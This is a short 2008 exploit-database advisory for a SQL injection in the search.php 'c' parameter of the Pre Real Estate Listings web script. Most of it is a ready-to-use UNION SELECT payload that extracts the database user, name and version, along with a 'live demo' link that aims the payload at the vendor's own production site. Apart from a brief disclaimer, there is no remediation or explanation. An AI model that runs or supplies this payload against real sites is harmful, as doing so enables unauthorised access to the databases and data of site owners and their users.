[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Pre Real Estate Listings (search.php c) SQL Injection Vulnerability
# Published : 2008-09-15
# Author : JosS
# Previous Title : CzarNews <= 1.20 (Account Hijacking) Remote SQL Injection Vuln
# Next Title : Link Bid Script 1.5 Multiple Remote SQL Injection Vulnerabilities
# Pre Real Estate Listings (search.php c) Remote SQL Injection Vulnerability
# url: http://preproject.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website
(SQL-way): http://www.localhost/search.php?c=(135['foo])
PoC: 135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*
live demo:
http://preproject.com/ulisting/search.php?c=135'+union+all+select+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,concat(user(),char(32,35),database(),char(32,35),version()),1/*
- In memory of rgod -
# www.Syue.com [2008-09-15]